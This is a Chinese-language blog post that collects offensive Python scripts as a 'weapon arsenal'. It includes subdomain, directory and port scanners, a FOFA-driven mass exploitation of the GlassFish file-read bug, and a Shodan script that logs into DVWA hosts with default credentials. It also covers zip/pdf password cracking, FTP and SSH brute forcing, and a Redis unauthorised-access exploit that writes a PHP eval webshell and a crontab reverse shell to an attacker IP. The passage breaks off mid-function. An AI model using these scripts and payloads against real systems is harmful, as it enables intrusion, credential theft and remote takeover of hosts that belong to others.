python武器库

pythonScript

菜鸡学习记录一下不同场景下的简单python脚本的编写 后续会继续优化和更新

声明

文章中所有内容仅供学习交流，不得用于其他任何目的，文中敏感内容已做脱敏处理，严禁用于商业和非法用途，否则由此产生的一切后果与作者无关

子域名扫描器

思路：1.拼接子域名 2.观察返回包是否为200

代理配置：https://www.kuaidaili.com/

爆破字典：https://github.com/TheKingOfDuck/fuzzDicts

#!/usr/bin/env python3

import requests

# 代理隧道域名:端口号  
tunnel = "host:port"

# 快代理使用用户名密码方式
username = "xxx"
password = "xxx"
proxies = {
    "http": "http://%(user)s:%(pwd)s@%(proxy)s/" % {"user": username, "pwd": password, "proxy": tunnel},
    "https": "http://%(user)s:%(pwd)s@%(proxy)s/" % {"user": username, "pwd": password, "proxy": tunnel}
}

def domain_scan(domain_name,sub_names):
    for sub in sub_names:
        headers = {
            "User-Agent":"Mozilla/5.0 (Windows; U; Windows NT 5.1; hu; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11",
        }
        url = f"https://{sub}.{domain_name}"
        try:
            requests.head = headers
            #挂上代理
            requests.get(url,proxies=proxies)
            print(f"[*]{url}")
        except requests.ConnectionError:
            #print("error")
            pass

if __name__ == '__main__':
    dom_name = input("please enter the domain name:")

    #子域名文件路径 
    with open('/xxx/xxx/subdomain.txt') as file:
        sub_name = file.read()
        sub_dom = sub_name.splitlines()
        # print("文件中存在的子域名数量：{}".format(len(sub_dom)))
        # print("文件子域名列表")
        # print(sub_dom)
        
    domain_scan(dom_name,sub_dom)

目录扫描器

原理：1.拼接路径并请求 2.获取status_code，200则为成功 存在此目录

优化：加入面向对象 、多线程 、fake_useragent模块

#!/usr/bin/env python3

from multiprocessing import Queue
import requests
import threading
from collections.abc import Callable,Iterable,Mapping
from typing import Any
from fake_useragent import UserAgent
#使用fake_useragent包导入随机UA头
random_UA = UserAgent()

class DirScan(threading.Thread):
    def __init__(self,queue):
        threading.Thread.__init__(self)
        self.queue = queue
    
    def run(self):
        #获取队列中的url
        while not self.queue.empty():
            url = self.queue.get()
            
            try:
                headers = {
                    "User-Agent":random_UA.random
                }
                r = requests.get(url=url,headers=headers,timeout=2)
                if r.status_code == 200:
                    print('[*] %s' % url)
                else:
                    #print("没有此路径")
                    pass
            except:
                pass

def start(url,ext,count):
    #将待拼接的路径传入队列
    queue = Queue()
    f = open('%s.txt' % ext,'r')
    for i in f:
        queue.put(url+i.rstrip('\n'))    
    
    #多线程
    threads = []
    thread_count = int(count)
    for i in range(thread_count):
        threads.append(DirScan(queue))
    
    #开启线程
    for t in threads:
        t.start()
    
    for t in threads:
        t.join()

if __name__ == '__main__':
    url = 'https://www.baidu.com'
    ext = 'xxx'
    count = 16
    start(url,ext,count)

C段扫描器

原理：执行ping命令 是否有回显

#!/usr/bin/env python3

import threading
from multiprocessing import Queue
from subprocess import Popen,PIPE

class CScan(threading.Thread):
    def __init__(self,queue):
        threading.Thread.__init__(self)
        self.queue = queue

    def run(self):

        while not self.queue.empty():
            ip = self.queue.get()

            try:
                #执行ping命令
                check_ping = Popen("ping {0} \n".format(ip),stdin=PIPE,stdout=PIPE,shell=True)
                data = check_ping.stdout.read()
                #数据要转为str
                if "TTL" in str(data):
                    print(ip+" id up!\n")
                else:
                    print(ip+" 不在线 \n")
            except:
                pass
#多线程
def start(count,ip):
    queue = Queue()
    for i in range(1,255):
        queue.put(ip+'.'+str(i))

    #多线程
    threads = []
    thread_count = int(count)
    for i in range(thread_count):
        threads.append(CScan(queue))
    #开启线程
    for t in threads:
        t.start()
    
    for t in threads:
        t.join()

if __name__ == '__main__':
    count = 16
    ip = input("请输入要扫描的ip段：")
    start(count,ip)

端口扫描器

#!/usr/bin/env python3

#核心功能 待优化  结合C段扫描的功能
import socket
def is_port_open(host,port):
    s = socket.socket()
    try:
        s.connect((host,port))
    except:
        return False
    else:
        return True
    
host = input("enter the host:")

#版本1  扫描C段的同时扫描存活主机的端口号
#!/usr/bin/env python3

import socket
import threading
from multiprocessing import Queue
from subprocess import Popen,PIPE

#常见端口  自定义
common_port = ['21','22','80','1433','1521','3306','8080','23','25','53','137','138','139','443','7890']


def is_port_open(host,port):
    s = socket.socket()
    try:
        s.connect((host,port))
    except:
        return False
    else:
        return True

class CScan(threading.Thread):
    def __init__(self,queue):
        threading.Thread.__init__(self)
        self.queue = queue

    def run(self):

        while not self.queue.empty():
            ip = self.queue.get()

            try:
                #执行ping命令
                check_ping = Popen("ping {0} \n".format(ip),stdin=PIPE,stdout=PIPE,shell=True)
                data = check_ping.stdout.read()
                #数据要转为str
                if "TTL" in str(data):
                    print(ip+" is up!\n")
                    for p in common_port:
                        if is_port_open(ip,int(p)):
                            print('[*] '+ip+':'+p+" is open!")
                else:
                    print(ip+" 不在线 \n")
            except:
                pass

def start(count,ip):
    queue = Queue()
    
    for i in range(1,255):
        queue.put(ip+'.'+str(i))

    #多线程
    threads = []
    thread_count = int(count)
    for i in range(thread_count):
        threads.append(CScan(queue))
    
    #开启线程
    for t in threads:
        t.start()
    
    for t in threads:
        t.join()

if __name__ == '__main__':
    count = 16
    ip = input("请输入要扫描的ip段：")
    start(count,ip)

优化：

思路：

1.使用argparse模块 写成脚本形式

2.参数设置

-c –Cduan 仅扫描输入ip的c段

-p –port 仅扫描输入ip的端口号（默认使用常见端口测试）

-t –target 指定目标

-a –all 扫描输入的ip的C段并且扫描每个存活ip的端口开放情况

-ap –all_port 全端口扫描

#!/usr/bin/env python3

import socket
import threading
from multiprocessing import Queue
from subprocess import Popen,PIPE
from argparse import ArgumentParser

#常见端口  自定义
common_port = [21,22,80,1433,1521,3306,8080,23,25,53,137,138,139,443,7890]

#端口扫描核心代码
def is_port_open(ip,port):
    s = socket.socket()
    try:
        s.connect((ip,port))
    except:
        return False
    else:
        return True
    

class pScan(threading.Thread):
    def __init__(self,queue,args):
        threading.Thread.__init__(self)
        self.queue = queue
        self.args = args
    
    def run(self):
        args = self.args
        while not self.queue.empty():
            ip = self.queue.get()
            try:
                #端口扫描
                if args.portScan:
                    print("target:"+ip)
                    if args.all_port:
                        for p in range(1,65536):
                            if is_port_open(ip,p):
                                print("[+] "+ip+":"+str(p)+" is open!")
                            else:
                                print("[-] "+ip+":"+str(p)+" is not open!")
                    else:
                        for p in common_port:
                            #print(p)
                            if is_port_open(ip,p):
                                print("[+] "+ip+":"+str(p)+" is open!")
                            else:
                                print("[-] "+ip+":"+str(p)+" is not open!")
                #C段扫描
                elif args.CduanScan:
                    print("target:"+ip)
                    #执行ping命令
                    check_ping = Popen("ping {0} \n".format(ip),stdin=PIPE,stdout=PIPE,shell=True)
                    data = check_ping.stdout.read()
                    
                    if "TTL" in str(data):
                        print(ip+" is up!")
                        #判断是否两者一起
                        if args.all_scan:
                            for p in common_port:
                                if is_port_open(ip,p):
                                    #数据要转为str
                                    print('[*] '+ip+':'+str(p)+" is open!")
                                else:
                                    pass
                    else:
                        print(ip+" 不在线 \n")
            except:
                pass
def start(count,args):
    queue = Queue()
    #根据命令行参数来判断传入队列的ip信息
    if args.portScan:
        queue.put(args.target)
    elif args.CduanScan:
        for i in range(1,255):
            queue.put(args.target+'.'+str(i))
        
    #多线程
    threads = []
    thread_count = int(count)
    for i in range(thread_count):
        threads.append(pScan(queue,args))
    #开启线程
    for t in threads:
        t.start()
    for t in threads:
        t.join()

#脚本参数
def setParser():
    parser = ArgumentParser(
        prog = "端口+C段扫描器",
        description = "r1's tool"
    )

    #定义命令行参数
    parser.add_argument("-c","--CduanScan",help="仅扫描C段",action="store_true")
    parser.add_argument("-p","--portScan",help="仅扫描端口（默认使用常用端口号）",action="store_true")
    parser.add_argument("-t","--target",default=0,help="指定目标")
    parser.add_argument("-a","--all_scan",help="扫描输入的ip段的C段和存活ip的端口开放情况（默认使用常用端口号）",action="store_true")
    parser.add_argument("-ap","--all_port",action="store_true",help="全端口扫描")
    return parser.parse_args()


if __name__ == "__main__":
    args = setParser()
    if args.target:
        start(16,args)

C段扫描：

端口扫描：

扫C段并且扫描存活主机的端口：

python .\pScanV2.py -t xxx -a -c

whois信息收集

思路：

1.判断此域名是否存在

2.使用whois命令（pip install python-whois）或者调用网站(https://whois.chinaz.com/)来查询

#!/usr/bin/env python3
import whois

def is_registered(domain_name):
    try:
        w = whois.whois(domain_name)
    except:
        return False
    else:
        return bool(w.domain_name)
    
if __name__ == '__main__':
    dms = [
        'baidu.com',
        'zhihu.com',
        'sadasdnjkbgadklbgads.com'
    ]
    for dm in dms:
        print(dm," is registered" if is_registered(dm) else " is not registered")
        
        
#模块化：        
import whois
from validate_domains import is_registered

domain_name = "baidu.com"

if is_registered(domain_name):
    whois_info = whois.whois(domain_name)
    print(whois_info)
    

fofaAPI的使用

API接口文档：https://fofa.info/api

• 普通查询

curl -X GET "https://fofa.info/api/v1/search/all?email=xxx&key=xxx&qbase64=xxx"

#python方式：
import requests
url = "https://fofa.info/api/v1/search/all?email=your_email&key=fofa_api&qbase64=query_sentence"

res = requests.get(url)
print(res.text)

• host聚合

https://fofa.info/api/v1/host/103.41.167.234?email=your_email&key=your_key

#!/usr/bin/env python3

import requests

url = "https://fofa.info/api/v1/host/xxx.xxx.xxx.xxx?email=xxx&key=xxx"

res = requests.get(url)
print(res.text)

• sdk

https://github.com/fofapro/fofa-py

下载解压 该目录下执行python ./setup.py install

# -*- coding: utf-8 -*-
import fofa

if __name__ == "__main__":
    email, key = ('', '')  # 输入email和key
    client = fofa.Client(email, key)                # 将email和key传入fofa.Client类进行初始化和验证，并得到一个fofa client对象
    query_str = 'header="thinkphp" || header="think_template"'
    for page in range(1, 51):                       # 从第1页查到第50页
        # fpoint = client.get_userinfo()["fofa_point"]      # 查询F点剩余数量
        # if fpoint < 100:
        #     break                                   # 当F点小于100时，不再获取数据
        try:
            data = client.search(query_str, size=100, page=page, fields="ip,city")  # 查询第page页数据的ip和城市
            for ip, city in data["results"]:
                print ("%s,%s"%(ip,city))             # 打印出每条数据的ip和城市
        except:
            print("账号信息错误")

fofa实战

例子：https://www.secpulse.com/archives/42277.html 应用服务器glassfish任意文件读取漏洞

FOFA语法："glassfish" && port="4848" && country!="CN"
linuxPOC:http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

windowsPOC:http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#在sdk里执行
import fofa
import requests
#定义漏洞列表
vul_ips = []

def check_vuln(ips):
    linux_POC = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
    windows_POC = '/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'

    for i in ips:
        ip = i.replace('\n','')    #换行替换为空
        windows_url = "http://"+ip+":4848"+windows_POC
        linux_url = "http://"+ip+":4848"+linux_POC

        try:
            vuln_code_linux = requests.get(linux_url).status_code
            vuln_code_windows = requests.get(windows_url).status_code
            if vuln_code_linux == 200 or vuln_code_windows == 200:
                print("[*] ip:"+ip+"存在glassfish任意文件读取漏洞")
        except:
            pass

if __name__ == "__main__":
    email, key = ('xxx', 'xxxx')  # 输入email和key
    client = fofa.Client(email, key)                # 将email和key传入fofa.Client类进行初始化和验证，并得到一个fofa client对象
    query_str = '"glassfish" && port="4848" && country!="CN"'
    

    for page in range(1, 3):                       # 从第1页查到第x页
        # fpoint = client.get_userinfo()["fofa_point"]      # 查询F点剩余数量
        # if fpoint < 100:
        #     break                                   # 当F点小于100时，不再获取数据
        try:
            data = client.search(query_str, size=10, page=page, fields="ip")  # 查询第page页数据的ip
            for ip in data["results"]:
                #print (ip)             # 打印出每条数据的ip
                vul_ips.append(ip)
                #print(vul_ips)
        except:
            print("账号信息错误")

check_vuln(vul_ips)

shodan实战

shodan python脚本文档

https://shodan.readthedocs.io/en/latest/

https://github.com/achillean/shodan-python

以dvwa靶场为例

默认用户名密码：admin:password

思路：

1.使用shodan搜索dvwa title:dvwa

2.使用默认用户密码+网页源码中的usertoken进行登录

post 登录语句:username=admin&password=password&Login=Login&user_token={token}

登录成功–302

Shodan.search()方法的返回值：

#!/usr/bin/env python3

import shodan
import time
import requests
import re

#shodankey
SHODAN_API_KEY = "xxxx"
api = shodan.Shodan(SHODAN_API_KEY)


#shodan搜索   返回第几页的搜索结果
def request_shodan_api(query,page=1):
    # Wrap the request in a try/ except block to catch errors
    while True:
        try:
            # Search Shodan
            instances = api.search(query,page=page)

            # Show the results
            # print('Results found: {}'.format(results['total']))
            # for result in results['matches']:
            #         print('IP: {}'.format(result['ip_str']))
            #         #print(result['data'])
            #         #print('')
            return instances    #返回搜索结果

        except shodan.APIError as e:
            print('Error: {}'.format(e))
            time.sleep(5)

#向目标网站发送请求  登录
#result为Shodan.search()方法的返回值中的matches字段的数据
def login_ip(results):
    #判断协议是http还是https
    proto = ('ssl' in results) and 'https' or 'http'
    #发起请求
    try:
        #print(f"{proto}://{results['ip_str']}:{results['port']}/login.php")
        res = requests.get(f"{proto}://{results['ip_str']}:{results['port']}/login.php",verify=False)
    except requests.exceptions.ConnectionError:
        return False
    if res.status_code != 200:
        print("目标不存在dvwa")
        return False
    #获取token  发送post请求登录
    #token = re.search(r"user_token' value='([0-9a-z]+)'",res.text).group(1)
    token1 = re.search(r"user_token' value='([0-9a-z]+)'",res.text)
    if token1:
        token=token1.group(1)
    else:
        token=""
    # try:
    #     if token1:
    #         token=token1.group(1)
    # except:
    #     print("匹配内容为空")
    res = requests.post(
        f"{proto}://{results['ip_str']}:{results['port']}/login.php",
        f"username=admin&password=password&Login=Login&user_token={token}",
        allow_redirects=False,
        verify=False,
        headers={'Content-Type': 'application/x-www-form-urlencoded'}
        )
    #登录成功会跳转到index.php
    if res.status_code == 302 and res.headers['Location'] == 'index.php':
        return True
    else:
        return False

#page为Shodan.search()方法的返回值 查询结果的详情 
def process_page(page):
    result = []
    for instance in page['matches']:
        if login_ip(instance):
            print(f"[+]存在默认口令：{instance['ip_str']}:{instance['port']}")
            result.append(instance)
    return result           #返回存在默认用户名密码的ip列表

def query_shodan(query):
    print("[*] 开始查询第一页")
    first_page = request_shodan_api(query)  #返回第一页查询结果
    total = first_page['total']             #数据总数
    already_processed = len(first_page['matches'])  
    result = process_page(first_page)
    page = 2
    while already_processed < total:
        break
        print(f"正在查询第{page}页")
        page = request_shodan_api(query,page=page)
        already_processed += len(page['matches'])
        result += process_page(page)
        page += 1
    return result

res = query_shodan('title:dvwa')
print(res)

密码生成器

随机密码生成，例子：https://suijimimashengcheng.bmcx.com/

argparse模块

python系列：argparse详解 - 知乎 (zhihu.com)

string包含的属性

#!/usr/bin/env python3

from argparse import ArgumentParser
#ArgumentParser解析命令行参数，并生成有用的帮助文档
import string
import random
import secrets      #生成强随机数 

#存储生成的随机密码
passwords = []

#完全随机
def createRandomPWD(args):
    for _ in range(args.amount):
        #secrets.choice功能与random.choice(seq)相同，从指定的非空序列中随机选择一个元素并返回
        passwords.append("".join(
                [secrets.choice(string.digits+string.ascii_letters+string.punctuation)\
                for _ in range(args.total_length)]))

#指定参数
def createArgumentPWD(args):
    for _ in range(args.amount):
        password = []
        for _ in range(args.numbers):
            password.append(secrets.choice(string.digits))
        for _ in range(args.uppercase):
            password.append(secrets.choice(string.ascii_uppercase))
        for _ in range(args.lowercase):
            password.append(secrets.choice(string.ascii_lowercase))
        for _ in range(args.special_chars):
            password.append(secrets.choice(string.punctuation))
        #random.shuffle用于将一个列表中的元素打乱顺序
        random.shuffle(password)
        password = ''.join(password)
        passwords.append(password)


def setParser():
    parser = ArgumentParser(
        prog = "密码生成器",
        description = "r1's 密码生成器"
    )

    #定义命令行参数
    parser.add_argument("-l","--lowercase",default=0,help="密码中包含小写字母的位数",type=int)
    parser.add_argument("-u","--uppercase",default=0,help="密码中包含大写字母的位数",type=int)
    parser.add_argument("-n","--numbers",default=0,help="密码中包含数字的位数",type=int)
    parser.add_argument("-s","--special_chars",default=0,help="密码中包含特殊字符的位数",type=int)
    parser.add_argument("-t","--total-length",default=0,help="密码的总长度",type=int)
    #parser.add_argument("-nu","--number",default=0,help="生成密码的数量",type=int)
    parser.add_argument("-a","--amount",default=0,help="生成密码的数量",type=int)
    parser.add_argument("-o","--output_file",default=0,help="输出到文本文件")

    return parser.parse_args()

# print(string.digits)
# print(string.ascii_lowercase)
# print(string.ascii_uppercase)
# print(string.punctuation)


if __name__ == "__main__":
    #获取参数
    args = setParser()
    if args.total_length:
        #指定了密码长度--完全随机
        createRandomPWD(args)
    else:
        #未指定密码长度，自定义密码构成（数字、大小写字母、特殊字符的个数）
        createArgumentPWD(args)
    print('\n'.join(passwords))
    #写入文本
    if args.output_file:
        with open(args.output_file,'w') as f:
            f.write('\n'.join(passwords))

待优化

社工字典生成器

收集个人、厂商等信息之后 社工字典就是根据这些信息组合生成密码

例如：姓名+生日 姓名+手机 身份证+昵称 等等

迭代器与生成器

Python3 迭代器与生成器 | 菜鸟教程 (runoob.com)

itertools模块

itertools — 为高效循环而创建迭代器的函数 — Python 3.11.5 文档

实现原理（可扩充 例如位数可自行设置）：

1.信息长度大于等于8位的直接写入

2.没到8位的拼接数字到8位

3.两两组合做笛卡尔积

4.前中后拼接特殊字符做笛卡尔积

个人信息示例：

#!/usr/bin/env python3

import itertools
import string
#存放生成的密码
dictionaryFile = open("password.txt","w")

#获取个人信息存到列表中
def readInformationList():
    infoList = []
    try:
        #读取个人信息文件
        info = open("info.txt","r",encoding="utf-8")
        lines = info.readlines()
        for line in lines:
            print(line.strip().split(":")[1])
            infoList.append(line.strip().split(":")[1])
            
    except Exception as e:
        print(e)
        print("文件读取错误")
    return infoList

#数字组合
def createNumberList():
    numberList = []
    words = string.digits   #0123456789
    #itertools.product做笛卡尔积
    itertoolsNumberList = itertools.product(words,repeat=3)
    for number in itertoolsNumberList:
        numberList.append("".join(number))
    return numberList

#特殊字符组合
def createSpecialList():
    specialList = []
    specialWords = string.punctuation   #!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
    for i in specialWords:
        specialList.append("".join(i))
    return specialList

#混合组合
def Combination():
    infoList = readInformationList()
    infoLen = len(infoList)
    specialList = createSpecialList()   #特殊字符
    for a in range(infoLen):
        #把个人信息大于等于8位的输出到文件  因为可能直接用来当密码
        if len(infoList[a]) >= 8:
            #print(infoList[a])
            dictionaryFile.write(infoList[a]+"\n")
        #不到8位的填充到8位
        else:
            needWords = 8-len(infoList[a])
            
            for b in itertools.permutations(string.digits,needWords):
                #print(b)
                #print(infoList[a]+"".join(b))
                dictionaryFile.write(infoList[a]+"".join(b)+"\n")
            #dictionaryFile.write(infoList[a]+"".join(b)+"\n")
        #将信息各元素两两拼接
        for c in range(0,infoLen):
            if len(infoList[a]+infoList[c]) >= 8:
                #print(infoList[a]+infoList[c])
                dictionaryFile.write(infoList[a]+infoList[c]+"\n")
        #拼接特殊字符
        for d in range(0,infoLen):
            for e in range(0,len(specialList)):
                if len(infoList[a]+specialList[e]+infoList[d]) >= 8:
                    #特殊字符加尾部
                    #print(infoList[a]+infoList[d]+specialList[e])
                    dictionaryFile.write(infoList[a]+infoList[d]+specialList[e]+"\n")
                    #特殊字符加中间
                    #print(infoList[a]+specialList[e]+infoList[d])
                    dictionaryFile.write(infoList[a]+specialList[e]+infoList[d]+"\n")
                    #特殊字符加前面
                    #print(specialList[e]+infoList[a]+infoList[d])
                    dictionaryFile.write(specialList[e]+infoList[a]+infoList[d]+"\n")

def startSocialDict():
    Combination()

if __name__ == "__main__":
    startSocialDict()

集成到密码生成器中：

import social_dict  #引入生成社工字典的函数
#添加参数
parser.add_argument("-so","--social_dict",default=0,help="输出社工字典")
#调用
if args.social_file:
   social_dict.startSocialDict()

zip和pdf密码破解

原理：密码爆破

使用tqdm模块（打印进度条）

zipfile模块(处理zip文件)

坑点：

[解决Python Zipfile 压缩方法无法解压密码文件_zipcrypto-CSDN博客](https://blog.csdn.net/weixin_45493551/article/details/122948775?ops_request_misc=%7B%22request%5Fid%22%3A%22169512681716800182182134%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=169512681716800182182134&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-122948775-null-null.142^v94^insert_down28v1&utm_term=解决python zipfile 压缩方法无法解压密码文件&spm=1018.2226.3001.4187)

#!/usr/bin/env python

from tqdm import tqdm	#打印进度条
import zipfile
import pyzipper

passwordfile = "password1.txt"
zip_file = "secret.zip" 
# zip_file = zipfile.ZipFile(zip_file)

n_words = len(list(open(passwordfile,"rb")))
print("总密码共有: ",n_words)
with open(passwordfile,"rb") as wordlist:
    for word in tqdm(wordlist,total=n_words,unit="word"):
        pwd = str(word,'utf-8').replace('\n','')
        try:
            # zip_file.extractall(pwd=pwd)
            #使用pyzipper库用密码读取zip文件
            with pyzipper.AESZipFile(zip_file, 'r', compression=pyzipper.ZIP_DEFLATED, encryption=pyzipper.WZ_AES) as extracted_zip:
                extracted_zip.extractall(pwd=str.encode(pwd))
        except:
            continue
        else:
            print("[+] password found:",word.decode().strip())
            exit(0)
print("[!] password not found,try other wordlist")
# 

# zip_file.extractall(pwd="123456".encode("utf-8"))
# import pyzipper

# password = '123456'

# with pyzipper.AESZipFile("ppkke.zip", 'r', compression=pyzipper.ZIP_DEFLATED, encryption=pyzipper.WZ_AES) as extracted_zip:
#     extracted_zip.extractall(pwd=str.encode(password))

pdf破解

依赖库：pip install pikepdf

#!/usr/bin/env python
from tqdm import tqdm
import pikepdf

passwordfile = "PasswordFile.txt"
pdf_file = "a.pdf" 

n_words = len(list(open(passwordfile,"rb")))
print("总密码共有: ",n_words)
with open(passwordfile,"rb") as wordlist:
    for word in tqdm(wordlist,total=n_words,unit="word"):
        pwd = str(word,'utf-8').replace('\n','')
        try:
            #使用pikepdf库读取pdf文件
            with pikepdf.open(pdf_file,password=pwd) as pdf:
                print(" [+] password found:"+pwd)
                exit(0)
        except pikepdf._core.PasswordError as e:
            continue

print("[!] password not found,try other wordlist")

FTP暴力破解

centos FTP服务配置：在Centos 7使用FTP服务_centos7 ftp_tangyin09的博客-CSDN博客

查看ftp服务是否开启:netstat -anput
systemctl status vsftpd

使用ftpzilla连接测试

使用模块：ftplib

连接失败原因：[Python操作FTP时，TimeoutError: WinError 10060] 由于连接方在一段时间后没有正确答复或连接的主机没有反应，连接尝试失败。 FTPIT技术疑难杂症 - 唐小沫 - 博客园 (cnblogs.com)

#!/usr/bin/env python

import ftplib
from threading import Thread
import queue
#ftp服务器
host = "10.210.100.131"
#ftp用户
user = "loginTest"
#ftp端口
port = 21
#密码字典
#passwords = open("PasswordFile.txt").read().split('\n')
passwords = []
with open("PasswordFile.txt") as f:
    passwords = f.read().split('\n')
#队列
q = queue.Queue()
#线程数
n_threads = 10

def connect_ftp():
    #获取密码
    password = q.get()
    ftp_client = ftplib.FTP()
    print(f"[!] trying",password)
    try:
        ftp_client.connect(host=host,port=port,timeout=10)
        ftp_client.login(user=user,passwd=password)
    except ftplib.error_perm:
        return False
    else:
        print(f"password found :",password)
        ftp_client.quit()
        with q.mutex:
            q.queue.clear()
            q.all_tasks_done.notify_all()
            q.unfinished_tasks = 0
    finally:
        try:
            q.task_done()
        except Exception as e:
            exit(0)
for password in passwords:
    #将密码传入队列
    q.put(password)

for t in range(n_threads):
    thread = Thread(target=connect_ftp)
    thread.daemon = True
    thread.start()

q.join()

v2版本 采用传统多线程 与端口扫描的一样：

#!/usr/bin/env python

import ftplib
from threading import Thread
#from multiprocessing import Queue
import queue
import socket
import threading

#ftp服务器
host = "xxx"
#ftp用户
user = "loginTest"
#ftp端口
port = 21
#密码字典
#passwords = open("PasswordFile.txt").read().split('\n')
passwords = []
with open("PasswordFile.txt") as f:
    passwords = f.read().split('\n')

#线程数
n_threads = 10

class ftp_crack(threading.Thread):
    def __init__(self,queue):
        threading.Thread.__init__(self)
        self.queue = queue
        
    def run(self):
        #print("666")
        while not self.queue.empty():
            #获取密码
            password = self.queue.get()
            ftp_client = ftplib.FTP()
            print("[!] trying "+password)
            try:
                #尝试ftp连接
                ftp_client.set_pasv(False)
                ftp_client.connect(host=host,port=port,timeout=5)
                ftp_client.login(user=user,passwd=password)
            except ftplib.error_perm:
                pass
                #return False
            else:
                print(f"[+] password found :",password)
                ftp_client.quit()
                #清空队列
                with self.queue.mutex:
                    self.queue.queue.clear()
                    self.queue.all_tasks_done.notify_all()
                    self.queue.unfinished_tasks = 0
            finally:
                try:
                    self.queue.task_done()
                except Exception as e:
                    exit(0)
    

def start():
    #队列
    q = queue.Queue()
    threads = []
    for password in passwords:
        #将密码传入队列
        #print(password)
        q.put(password)
    
    for i in range(n_threads):
        threads.append(ftp_crack(q))
        
    for t in threads:
        t.start()
    for t in threads:
        t.join()

if __name__ == '__main__':
    start()

SSH密码暴力破解

使用模块：paramiko 自动多线程

ssh连接报错：

1.超时

2.授权问题

3.密码错误

https://www.cnblogs.com/txmblog/p/12955615.html)

#!/usr/bin/env python3

import socket
import paramiko
import time

host = "10.210.100.131"
user = "root"
port = 22
passwords = open("PasswordFile.txt").read().split("\n")

def connet_ssh(password):
    ssh_client = paramiko.SSHClient()
    ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh_client.connect(hostname=host,password=password,username=user,timeout=3)
    except socket.timeout:
        print("连接超时")
        return False
    except paramiko.AuthenticationException:
        print(f"[!] 密码错误 {user}:{password}")
        return False
    except paramiko.SSHException:
        print("内部错误，等待重连")
        time.sleep(10)
        return connet_ssh(password)
    else:
        print("[+] password found: ",password)
        exit(0)

for password in passwords:
    if connet_ssh(password):
        break

存在问题，多线程有点慢 待优化

mongodb未授权扫描器

数据库安全之MongoDB渗透 - FreeBuf网络安全行业门户

shodan语法：product:”MongoDB”

fofa:””MongoDB” && protocol=”mongodb””

mongodb未授权挖掘：

1.扫描端口 默认端口：27017 （socket）

2.尝试连接即可（使用pymongo的MongoClient连接）

#!/usr/bin/env python3

import pymongo
import socket

#用socket扫描端口
def scan_port(ip):
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(2)
    try:
        s.connect((ip,27017))
        print("端口开放！！！")
        s.close()
        check_mongo_connect(ip)
    except Exception:
        print("端口未开放！！！")

#使用pymongo库的MongoClient尝试连接
def check_mongo_connect(ip):
    print("正在尝试连接······")
    try:
        client = pymongo.MongoClient(ip,27017,socketTimeoutMS=3000)
        dbnames = client.list_database_names()
        print(dbnames)
        #通过判断是否有值、布尔值、长度
        if dbnames and bool(dbnames) and len(dbnames):
            print(ip+"存在mongodb未授权访问！！！")
    except Exception:
        print("不存在mongodb未授权漏洞")

if __name__ == '__main__':
    scan_port("xxx")

redis未授权扫描getshell

1.扫描端口 默认为6379

2.尝试连接 能连上即可

3.getshell

• 写webshell

apache默认网站路径：/var/www/html

#修改持久化存储指定路径
config set dir /www/admin/localhost_80/wwwroot
#修改持久化存储指定文件
config set dbfilename redis.php
#写入webshell
set x "<?php @eval($_POST['r1']);?>"
save
OK

• 定时任务crontab

反弹shell失败 原来是这个原因_kali nc不反弹shell_梦想闹钟的博客-CSDN博客

\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/反弹的ip/反弹的端口 0>&1\n\n

s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null


set x "\n* * * * * bash -i >& /dev/tcp/接收shell的ip/端口 0>&1\n" （每隔一分钟执行命令）
config set dir /var/spool/cron/
config set dbfilename root
save

• ssh免密

把攻击机公钥写入靶机的.ssh中的authorized_keys文件中

实现思路：

1.扫描端口 默认为6379

2.使用redis客户端连接

3.编写getshellEXP

#!/usr/bin/env python3

import redis
import socket
import paramiko

sshkey = '攻击机公钥'

#用socket扫描端口
def scan_port(ip):
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(0.3)
    try:
        s.connect((ip,6379))
        print("端口开放！！！")
        s.close()
        check_redis_connect(ip)
    except Exception:
        print("端口未开放！！！")

#检测漏洞是否存在
def check_redis_connect(ip):
    try:
        client = redis.StrictRedis(host=ip,port=6379,socket_timeout=0.3)
        print(client.client_list())
        #使用哪个就调用哪个
        #exp_webshell(client)
        #exp_crontab(client)
        #exp_ssh(client,ip)
    except Exception:
        print("无法连接，不存在redis未授权")



#1.写webshell
def exp_webshell(redis_client):
    #1.找到web服务器的根目录
    root = "/var/www/html"
    #2.写入木马文件
    redis_client.config_set('dir',root)
    redis_client.config_set('dbfilename','shell.php')
    redis_client.set('x','<?php phpinfo();?>')
    redis_client.save()
    print("webshell已写入成功")

#2.创建定时任务反弹shell
def exp_crontab(redis_client):
    #1.找到定时任务的目录
    root = "/var/spool/cron"
    #2.写入定时任务
    redis_client.config_set('dir',root)
    redis_client.config_set('dbfilename','root')
